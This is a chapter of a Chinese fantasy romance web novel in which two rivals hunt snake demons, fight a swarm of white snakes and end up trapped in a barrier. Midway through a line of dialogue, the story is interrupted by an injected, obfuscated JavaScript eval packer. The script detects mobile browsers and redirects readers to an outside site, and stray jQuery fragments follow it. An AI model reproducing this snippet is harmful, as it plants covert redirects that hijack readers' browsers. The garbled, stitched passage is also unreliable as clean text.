21. 第 21 章

作品:《宿敌失忆后偏说是我夫君

    谢谨玄终于安静了。


    还没安静多久,院子里传来声响。


    一条粗长的黑蛇缓缓出现,最终在门外停下,从头到尾,依次现出人形,最终变成中年女子的模样。


    她谨慎地往周围看了看,然后推了推门,门是从里面反锁的。


    黑蛇妖朝上面看一眼,叶无筝和谢谨玄迅速收回身子,堪堪躲开她的视线。


    叶无筝心跳加速,脑海中浮现出刚刚看到的那张、骇人的脸。


    黑蛇妖的脸,竟然布满密密麻麻地沟壑。


    古籍中有记载,人间妖怪为了维系人形美貌,会以人皮覆盖自己面庞。但是人皮脱离人身,没多久便会腐烂,妖也因此背上冤孽,面皮腐烂的速度会比之前更快,需要的人皮也就更多。从最初的几年一张皮,变成最后隔几日便需要更换一张新皮。


    下面,黑蛇妖对钱老爷家不甚熟悉,在房子外走了半圈,又走回来,身影变成黑团黑气,刹那间消失在原地。


    谢谨玄直接从屋顶跳下去,稳稳落地,随后一脚踢开房门窜了进去。


    叶无筝看着同样失去法力、却依旧身手矫健的宿敌,沉默了。同时开始觉得,和谢谨玄结盟,似乎也没什么不好。


    不就是骨气吗?又不能当命花。心态摆正,又是一条好咸鱼!


    叶无筝走到房间时,黑蛇妖已经溜走了。房间里一片狼藉,钱老爷完好无缺、表情安详地躺在床上。


    叶无筝指了下,“他竟然没醒?”


    谢谨玄说:“刚刚醒了,现在是被我打晕的。”


    他若有所思地摸摸下巴,道:“这个雌性黑蛇妖,和我昨天杀的那条雄性黑蛇妖,长得有点像。”


    叶无筝不解,猜测地顺着他的话,接茬道:“是龙凤胎吗?”


    谢谨玄垂眸看向她,低笑出声:“是夫妻相。”


    叶无筝无语地睨着他,压低声音问:“你又要说什么?”


    谢谨玄笑意收敛,轻咳一声,正色道:“我怀疑他们是夫妻。”


    叶无筝依然不解:“那为什么不能是兄妹或姐弟?”


    谢谨玄往叶无筝的方向倾斜身体,一本正经地、用讲故事一般的口气,道:“民间传闻,夫妻之间亲的多了,外貌也会慢慢长得相似,俗称夫妻相。”


    叶无筝之前从未听过这种说法,略显惊讶:“还有这种事情?”


    谢谨玄双臂环胸,语气多了几分得意与笃定,道:“当然有。就像你和我,以后一定会越来越……”


    “……………………”


    叶无筝原本的那点好奇心、顿时烟消云散。


    还真是狗嘴吐不出象牙!


    她冷冷地瞥了谢谨玄一眼,后者与她视线相撞,语气停顿片刻,眉梢一挑,笑着把话说完:“你和我以后一定会越来越——夫妻相”。


    叶无筝不想理他了,转身准备走。


    谢谨玄跟着转身,同时正色道:“如果想要黄金,我们现在可以去一个地方。”


    “哪里?”


    “麒麟山。”


    ……


    去往麒麟山的路上,谢谨玄才说明实情。


    他之所以说两条蛇是夫妻,不是因为夫妻相,而是因为母蛇亲口说,她要杀了谢谨玄为她夫君报仇。


    谢谨玄悠悠说道:“我刚刚差点被她杀了。我好害怕。”


    叶无筝看了他一眼,从上看到下、从头看到脚,都没能发现他有半分狼狈:“她能杀你?”


    谢谨玄嘴上说着害怕,语气却没半分害怕,轻飘飘地说:“当然,我现在和凡人没什么区别。不过,我不是怕死,我是怕以后再也见不到你了,一想到这种可能,我就很心痛。”


    叶无筝:“……”


    和谢谨玄结盟虽然有很多好处,但是也要忍受许多恶心。


    她闭了闭眼睛,没接话。


    麒麟山不算远,谢谨玄大概说了不到一百句话,他们就到了。


    山风呼啸,四下寂寥,乌云散开,月光落在山林间,婆娑树影映在他们脚下。


    谢谨玄意犹未尽,道:“以后可以多一些夜晚散步,边走边聊天,好惬意。”


    “……”他管这叫散步?叶无筝更想躺着。


    四周忽然传来微小的声响,像是在杂草上拖动什么东西一样。


    叶无筝和谢谨玄同时向四周望去——数十条的白蛇正朝他们包围过来。


    叶无筝眼睛微微睁大,往后退半步。


    谢谨玄也侧过身体,将后背朝向叶无筝的后背,两人呈并肩作战的防备姿态。


    谢谨玄忽然轻笑:“我要是一炷香时间里把这些蛇都杀了,你愿意亲我一下吗?”


    叶无筝:“……做梦。”


    谢谨玄说:“梦里愿意也行啊。”他脚步微动,同时将匕首塞到叶无筝手里,道:“我后背就交给你了。”


    说完,他直接冲进白蛇群中。


    叶无筝想把匕首还给他,赤手空拳怎么打架?结果转眼就看见谢谨玄从衣袖里掏出了暗器,一个接一个,快准狠地将跳跃起来袭击他的蛇都斩断。


    这时,一条蛇在他背后弹跳起来,直直要咬向谢谨玄脖子。


    叶无筝迈大步跑过去,赶在最后一刻将那条蛇一分为二。


    把人从死亡边缘拖回来,叶无筝惊魂未定,耳边响起谢谨玄的夸赞:“漂亮!”


    叶无筝直起身子,往四周看了一圈,数十条白蛇碎成了一段一段,空气中充斥着血腥味道。


    叶无筝忍不住说:“你刚刚明明能躲开,为什么不躲?”


    谢谨玄弯腰将暗器捡回来,用袖口擦了擦血迹,同时满不在乎地问:“好玩不?”


    叶无筝:“……”


    谢谨玄凑过来,得意地说:“承认吧,你舍不得我死。”


    叶无筝淡淡反驳:“我只是人品比较好。你现在是我盟友,我会做到盟友应该做的。”


    谢谨玄低笑了声:“行,盟友也是友,先这样。”


    说完,他站直,对着山林沉声道:“出来吧。不是要报仇吗?”


    黑暗中现出一个身影,却不是黑色,而是白色。


    一位身着白衣的高大男子,头上盘着几条白蛇,与刚刚地上袭击他们的如出一辙。


    黑蛇妖则跟在他身侧,模样有几分小鸟依人。


    谢谨玄眉梢微挑,笑道:“我说刚刚怎么出来的是白蛇?原来是你出轨。”


    白蛇男皮笑肉不笑地,道:“我只是帮她忙碌的夫君,照顾她而已。”边说着,视线在叶无筝身上掠过。


    “美人,如果你愿意成为我的王后,我便遣散所有女人,以后只专情你一人。”


    叶无筝冷着脸,心里却奇怪,这黑蛇妖怎么会看上这样一条蛇?他连装都不装!


    而且这白蛇看起来妖力不低,她和谢谨玄不一定是白蛇的对手,不能硬来。


    黑蛇眼中满是恨意,看着谢谨玄,道:“我夫君与你无冤无仇,你为什么杀他?”


    谢谨玄抬了抬下巴,似笑非笑地反问:“你怎么不问问你身边那位,他不也是和你夫君无冤无仇,那他为什么要勾引你夫君的妻子?”


    黑蛇被怼得说不出话:“你……”


    谢谨玄笑了笑,道:“让我猜猜吧,那个小妖到底为什么拼了命也要护住忆灵草。该不会是为了你吧?”


    “如果他为了你丢了命,而你又早就与这个东西在一起,你现在说要给他报仇,不是太可笑了吗?”


    黑蛇妖脸色涨红,恼羞成怒地吼道:“你懂什么!”


    “他整夜整夜守在悬崖上,我怎么办?难道就让我自己一个人吗?”


    叶无筝:“…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979519|193169||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”好像听到了什么不得了的八卦。


    谢谨玄也沉默了很久。


    过了会儿,他忽然回头,看着叶无筝的眼睛问:“你不会这么对我的,是吧?”


    叶无筝面无表情地淡声道:“……不会。”


    她与谢谨玄并非夫妻,因此,即便她同时找八个,那也不是出轨。


    谢谨玄满意地收回视线,继续和黑白蛇妖周旋:“我现在只想确认一件事情,你,是不是打算去取钱员外的人皮。”


    黑蛇妖面色狰狞,愤怒地瞪着谢谨玄,掷地有声道:“是又如何?别废话了,今天无论如何,你都必须得给我夫君偿命!”


    黑蛇看向白蛇,神色软弱几分。


    白蛇得意地唇角翘起,点点头上前半步,与此同时,垂在身侧的掌心蓄力,数个蛇头从他掌心争先恐后地伸出来,密密麻麻,蛇头前前后后地蠕动,此起彼伏地吐着血红色信子,金黄色眼睛一眨一眨的,竖瞳目不转睛地、死死地盯着他们。


    好恶心的法术!


    叶无筝有密集恐惧症,顿时起了一身鸡皮疙瘩。


    谢谨玄往她的方向迈了一步,忽然低声说:“跑。”


    叶无筝毫不犹豫地转身就朝上山的路跑去!


    黑蛇妖一惊:“哎……”


    白蛇上前一步想要阻止,谢谨玄将袖口中的暗器飞出去,趁着黑白蛇妖闪躲的间隙,他迅速转身跑了吗,几步就追赶到叶无筝身侧,然后放慢脚步和她一起逃命。


    叶无筝大口大口喘着粗气,两条腿发软,脑子也晕乎乎的。


    她摸了摸自己额头,不热,没发烧,可是脸颊却热得和烧起来一样,身体也是说不出的燥热难耐。


    奇怪,身体不该这么虚弱啊。


    叶无筝脚步变得虚扶,速度也变慢,视野开始旋转,意识开始比动作慢半拍。


    她要跑不动了。


    这时,谢谨玄忽然握住她的手,拉着她继续往前跑。


    叶无筝被他拽着,跟着跑了几步,实在是不行了,道:“不行了,跑不动了。”


    谢谨玄停下脚步,转身看了眼她,往四周看了看,同样喘着粗气,用衣袖擦掉额头上的汗珠。


    叶无筝弯腰,双手扶着自己的腿,深呼吸了好几个来回,才能够强撑着力气抬起头。


    她看着谢谨玄的模样,发现了不对劲:“你脸怎么那么红?”


    谢谨玄愣了愣,用力闭了闭眼睛,又不动声色地垂眸瞥了眼身体下方。


    “……”


    他腰身微不可察地弓起来一些,压抑着声音说:“没事。”


    叶无筝奇怪地看了他一眼,然后就低下头继续平复慌乱的心脏。


    谢谨玄把视线从叶无筝身上移开,将脸转向另一边,眯了眯眼睛,低沉的声音有些哑:“我们掉进蛇的结界里了,上山的路不是这样的。”


    叶无筝晃了晃脑袋,一种奇怪的感觉在她体内四处冲撞。她之前从未有过这种感受,却无师自通地知道这种感受意味着什么。


    心跳在加速,心跳因为奇怪的感觉加速,又因为意识到这种奇怪的感觉是何感觉而继续加速。


    身体在变得更热,变得更干燥,两条腿软绵绵的仿佛不是自己的。


    她用冰凉的手背摸了摸自己额头,企图让自己冷静下来。


    叶无筝用力闭了闭眼睛,强撑着抬起头,想找到原因和摆脱的方法。


    入目却是谢谨玄的侧颜。他正在认真观望周围情况,气质平时吊儿郎当的模样完全不同。


    谢谨玄好高,腿也长,腰细,站姿像松柏一样挺拔。肩膀宽,头小,脸精致,好看的五官在冷白肤色上分布得恰到好处。鼻梁挺拔,睫毛长,月光仿佛把他的五官镀了层羽化的光圈。


    叶无筝对着谢谨玄的侧颜,不受控制地、吞了吞口水。